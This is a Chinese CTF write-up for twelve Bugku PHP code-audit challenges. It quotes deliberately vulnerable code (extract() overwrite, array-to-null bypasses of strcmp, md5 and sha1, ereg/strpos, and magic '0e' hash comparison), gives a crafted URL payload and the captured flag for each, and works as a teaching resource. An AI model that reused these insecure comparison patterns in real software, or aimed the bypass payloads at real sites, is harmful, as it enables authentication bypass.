Bugku 程式碼審計 wp
小白的總結,如有寫錯還請大佬們多指點,謝謝了!
程式碼審計:
1.extract變數覆蓋
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
Get請求?flag=&shiyan=,extract()會將&flag和&gift的值覆蓋,將變數的值設定為空或者不錯在的檔案就滿足$gift==$content.
flag{bugku-dmsj-p2sm3N}
2.strcmp比較字串
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小於 str2 返回 < 0; 如果 str1大於 str2返回 > 0;如果兩者相等,返回 0。
//比較兩個字串(區分大小寫)
die('Flag: '.$flag);
else
print 'No';
}
?>
這裡就是利用了strcmp的一個漏洞就是傳一個數組返回的值是Null(0)這樣兩個值就相等了(這裡是不能比較),最終返回的就是0.
構造payload:http://120.24.86.145:9009/6.php?a[]=0
flag{bugku_dmsj_912k}
3.md5函式
<?php error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.'; else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); else print 'Invalid password'; } ?>
看完程式碼就發現程式碼的意思是讓兩個不一樣的數使他們的md5相等,md5()函式要求接收一個字串,若傳遞進去一個數組,則會返回null(加了‘ ’就相當於字串的代表了)因此向$_GET陣列傳入兩個名為username、password的不相等的陣列,從而導致md5()均返回空,於是得到flag,如訪問 http://chinalover.sinaapp.com/web17/index.php?username[]=&password[]=1
Flag: flag{bugk1u-ad8-3dsa-2}
4.陣列返回NUll繞過
<?php
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
根據正正則表示式ereg()的限制,我們需要構造password的值裡有^[a-zA-Z0-9]+$,及至少一個數字或者字串相等(大寫或者小寫),不包括其他的字元。但是strops需要匹配到--才能輸出flag,所以我們要用陣列的方法繞過ereg()函式和strpos()函式
ereg只能處理字元,而password是陣列,所以返回的是null,三個等號的是不用進行型別的轉換,所以null!==false。
strpos的引數同樣是不能夠是陣列,所以返回的依舊是null,null!==false也是正確的。
Flag: flag{ctf-bugku-ad-2131212}
5.弱型別整數大小比較繞過
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
is_numeric()判斷變數是否為數字或數字字串
is_numeric()判斷對於空字元%00,無論是%00放在前後都可以判斷為非數值,而%20空格字元之能放在數值後所以,檢視函式發現該函式對於第一個空格字元會跳過空格字元判斷,接著後面的判斷
構造:http://120.24.86.145:9009/22.php?password=5555%00或者http://120.24.86.145:9009/22.php?password=5555%20
flag{bugku_null_numeric}
6.sha()函式比較繞過
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "
";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo '
Your password can not be your name!
';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '
Invalid password.
';
}
else
echo '
Login first!
';
?>
看程式碼可以發現if ($_GET['name'] == $_GET['password'])中的陣列不同,else if (sha1($_GET['name']) === sha1($_GET['password']))中的由於sha1函式不能處理陣列型別,將報錯並返回false===false成立,這樣就繞過了sha()函式獲得flag。
PHP基礎知識:
PHP中用兩種比較符“==”,“===”:
“===”再進行比較是,會先判斷兩種字串的型別是否相同,在比較
“==”在進行比較的時候,會先將字串的型別轉換成相同的型別,在比較。
構造:http://120.24.86.145:9009/7.php?name[]=1&password[]=2
flag{bugku--daimasj-a2}
7.md5加密相等繞過
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
PHP在處理雜湊字串的時候,會利用“!=”或“==”來對雜湊值進行比較,它把每一個一“0E”開頭的雜湊值解釋為0,所以如果兩個不同的密碼經過雜湊以後,其雜湊值都是以“0E”開頭,那麼PHP將會認為他們相同,都是0.
構造:http://120.24.86.145:9009/13.php?a=240610708
flag{bugku-dmsj-am9ls}
8.十六進位制與數字比較
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字元的 ASCII 碼值
$nine = ord('9'); //ord — 返回字元的 ASCII 碼值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
關鍵程式碼:
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
關鍵程式碼
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
ord()函式返回字串的首個字元的ASCII值。
ord()函式的介紹:http://www.w3school.com.cn/php/func_string_ord.asp
再看題目就可以知道只需要將3735929054轉換成十六進位制deadc0de(注意要加0x)
進位制轉換工具:http://tool.oschina.net/hexconvert/
構造:http://120.24.86.145:9009/20.php?password=0xdeadc0de
flag{Bugku-admin-ctfdaimash}
9.變數覆蓋
點開題目是一張圖片,哎,圖片上有事程式碼,一看就發現了extract,由題目也知道這是一個變數覆蓋,直接構造:http://120.24.86.145:9009/bianliang/?a=&b=
flag{num_test_administrator}
10.ereg正則%00截斷
<?php
$flag = "xxx";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '
You password must be alphanumeric
';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查詢字串首次出現的位置
{
die('Flag: ' . $flag);
}
else
{
echo('
- have not been found
');
}
}
else
{
echo '
Invalid password
';
}
}
?>
嗯,還是看程式碼
重點程式碼:
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查詢字串首次出現的位置
{
die('Flag: ' . $flag);
看程式碼一樣就看到strpos()這個函數了,
if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查詢字串首次出現的位置
{
die('Flag: ' . $flag);
分析一下直接就構造了http://120.24.86.145:9009/5.php?password[]=1
flag{bugku-dm-sj-a12JH8}
11.strpos陣列繞過
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必須輸入數字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '騷年,繼續努力吧啊~';
}
?>
嗯,做了這麼多又有題目的提示,這裡還是erge()函式和strpos()函式的漏洞,直接構造陣列
構造:http://120.24.86.145:9009/15.php?ctf[]
flag{Bugku-D-M-S-J572}
12.數字驗證繞過
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 執行一個正則表示式匹配
{
echo 'flag';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何標點符號 [[:digit:]] 任何數字 [[:upper:]] 任何大寫字母 [[:lower:]] 任何小寫字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必須包含四種類型三種與三種以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
重點程式碼
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 執行一個正則表示式匹配
{
echo 'flag';
exit;
我是看到這個就直接構造的,結果就出來了233333
注意:就是傳的值必須要小於12位,一般人也不會輸入那麼多,就是提示一下。
flag{Bugku_preg_match}